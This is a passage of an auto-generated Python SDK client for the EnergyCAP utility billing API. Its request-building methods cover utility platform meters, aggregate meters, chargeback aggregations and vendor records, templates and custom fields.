response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
release_account_and_all_meter_to_abuilding.metadata = {'url': '/api/v202203/utilityPlatform/place/{placeId}/release'}
def get_data_access_release_details(
self, data_access_release_id, custom_headers=None, raw=False, **operation_config):
"""Get data access release details.
:param data_access_release_id: The id of the data access release
:type data_access_release_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DataAccessRelease or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DataAccessRelease or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_data_access_release_details.metadata['url']
path_format_arguments = {
'dataAccessReleaseId': self._serialize.url("data_access_release_id", data_access_release_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DataAccessRelease', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_data_access_release_details.metadata = {'url': '/api/v202203/utilityPlatform/dataAccessRelease/{dataAccessReleaseId}'}
def search_utility_platform_meters(
self, page_size=None, page_number=None, body=None, custom_headers=None, raw=False, **operation_config):
"""Search utility platform meters.
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param body: The meter search criteria
:type body: ~energycap.sdk.models.MeterSearchRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MoveCreateMeter] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.search_utility_platform_meters.metadata['url']
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterSearchRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MoveCreateMeter]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
search_utility_platform_meters.metadata = {'url': '/api/v202203/utilityPlatform/meter/search'}
def search_utility_platform_service_addresses(
self, address=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Search service addresses.
:param address: The address fragment to search for
:type address: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AddressLookup] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.search_utility_platform_service_addresses.metadata['url']
# Construct parameters
query_parameters = {}
if address is not None:
query_parameters['address'] = self._serialize.query("address", address, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[AddressLookup]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
search_utility_platform_service_addresses.metadata = {'url': '/api/v202203/utilityPlatform/address/search'}
def upsert_aggregate_meter(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new aggregate meter, update an existing version, create a new
version
If AggregateMeterId is null: a new aggregate meter and version is
always created
If AggregateMeterId is not null: it must exist and only associated with
1 account otherwise error
If AggregateMeterId exists: we will always update the Aggregate's
MeterInfo and AccountInfo
If AggregateMeterId exists and no version exists on the same account
and meter with the specified billing period: a new version is created
If AggregateMeterId exists and a version exists on the same account and
meter with the specified billing period: the version is updated.
:param place_id: The id of the place to insert the aggregate meter
:type place_id: int
:param body: The release request details
:type body: ~energycap.sdk.models.UpsertAggregateMeterRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.CalculatedBillDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.upsert_aggregate_meter.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UpsertAggregateMeterRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
upsert_aggregate_meter.metadata = {'url': '/api/v202203/utilityPlatform/place/{placeId}/aggregateMeter'}
def execute_processor_aggregations(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Process one or more Calculated Bill aggregations within a billing
period range ending with the specified billing period.
If billing period is not supplied, the current period will be assumed.
:param body:
:type body:
~energycap.sdk.models.ChargebackProcessorSettingsForAggregations
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_processor_aggregations.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettingsForAggregations')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_processor_aggregations.metadata = {'url': '/api/v202203/utilityPlatform/aggregations/exec'}
def get_vendor(
self, vendor_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one vendor.
:param vendor_id: The identifier for the vendor being retrieved
:type vendor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: VendorResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.VendorResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendor.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('VendorResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_vendor.metadata = {'url': '/api/v3/vendor/{vendorId}'}
def edit_vendor(
self, vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a vendor.
:param vendor_id: The identifier for the vendor being edited
:type vendor_id: int
:param body: Data representing the vendor being edited
:type body: ~energycap.sdk.models.VendorRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: VendorResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.VendorResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_vendor.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'VendorRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('VendorResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_vendor.metadata = {'url': '/api/v3/vendor/{vendorId}'}
def delete_vendor(
self, vendor_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a vendor.
:param vendor_id: The identifier for the vendor being deleted
:type vendor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_vendor.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_vendor.metadata = {'url': '/api/v3/vendor/{vendorId}'}
def get_vendors(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of vendors. The array of vendors can be filtered by
a number of criteria. See the filter property for more details.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.VendorResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendors.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[VendorResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_vendors.metadata = {'url': '/api/v3/vendor'}
def create_vendor(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a vendor.
:param body: Data representing the vendor being created
:type body: ~energycap.sdk.models.VendorRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: VendorResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.VendorResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_vendor.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'VendorRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('VendorResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_vendor.metadata = {'url': '/api/v3/vendor'}
def edit_vendor_ud_fs(
self, vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits user defined field / custom field values for a particular vendor.
:param vendor_id: The identifier for the vendor
:type vendor_id: int
:param body: Data representing the vendor user defined fields / custom
fields being edited
:type body: list[~energycap.sdk.models.UDFValue]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_vendor_ud_fs.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFValue]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_vendor_ud_fs.metadata = {'url': '/api/v3/vendor/{vendorId}/udf'}
def get_vendor_udfs(
self, vendor_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for a particular
vendor.
:param vendor_id: The vendor identifier for which user defined field /
custom field values are being retrieved
:type vendor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendor_udfs.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_vendor_udfs.metadata = {'url': '/api/v3/vendor/{vendorId}/udf'}
def get_vendors_udfs(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for all vendors.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.VendorUDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendors_udfs.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[VendorUDFResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_vendors_udfs.metadata = {'url': '/api/v3/vendor/udf'}
def get_vendor_contracts(
self, vendor_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all Contracts for a particular vendor. <br />
Contracts are not supported in EnergyCAP Version 7, this API is for
reading existing contracts only and may be removed in the future.
:param vendor_id: The vendor identifier for which Contracts are being
retrieved
:type vendor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.VendorContractResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendor_contracts.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[VendorContractResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_vendor_contracts.metadata = {'url': '/api/v3/vendor/{vendorId}/contract'}
def add_accounts(
self, vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Add accounts to a vendor.
:param vendor_id: The identifier for the vendor to which accounts are
being added
:type vendor_id: int
:param body: List of accountIds to move a new vendor
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.add_accounts.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
add_accounts.metadata = {'url': '/api/v3/vendor/{vendorId}/account'}
def get_vendor_template(
self, vendor_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves the most recent template from the specified vendor.
:param vendor_id: The vendor identifier to search by
:type vendor_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateVersion or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateVersion or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendor_template.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateVersion', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_vendor_template.metadata = {'url': '/api/v202206/vendor/{vendorId}/template'}
def put_vendor_template(
self, vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates the template for the specified vendor.
:param vendor_id: The vendor to apply the template to
:type vendor_id: int
:param body: Definition of the lines to apply to the template. If
vendorLines is empty, any existing template will be deleted
:type body: list[~energycap.sdk.models.TemplateVendorLineRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateVersion or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateVersion or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.put_vendor_template.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[TemplateVendorLineRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateVersion', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
put_vendor_template.metadata = {'url': '/api/v202206/vendor/{vendorId}/template'}
def copy_vendor_template(
self, source_vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Copies any template attached to the provided sourceVendorId to each of
the recipientVendorIds specified in the body.
If the recipient vendor has a template defined, it will be replaced
with the lines on the source vendor's template.
If the recipient vendor does not have a template defined, a new
template will be created with the lines on the source vendor's
template.
:param source_vendor_id: Identifier for the "Source" vendor, which
serves as the source for the template to be copied
:type source_vendor_id: int
:param body: List of identifiers for the "Recipient" vendors, who will
each receive a copy of the template attached to the Source vendor
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.copy_vendor_template.metadata['url']
path_format_arguments = {
'sourceVendorId': self._serialize.url("source_vendor_id", source_vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
copy_vendor_template.metadata = {'url': '/api/v202206/vendor/{sourceVendorId}/template/copy'}
def download_vendor_custom_field_file(
self, vendor_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a vendor custom field.
:param vendor_id:
:type vendor_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_vendor_custom_field_file.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_vendor_custom_field_file.metadata = {'url': '/api/v202105/vendor/{vendorId}/udf/{udfId}/download'}
def set_vendor_accounts_audit_exclusion(
self, vendor_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Enable or disable all accounts assigned to a vendor from audits.
:param vendor_id: The identifier for the vendor to act upon
:type vendor_id: int
:param body:
:type body: ~energycap.sdk.models.VendorAuditEnable
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdatedOnlyResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdatedOnlyResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_vendor_accounts_audit_exclusion.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'VendorAuditEnable')
else:
body_content = None
# Construct and send request
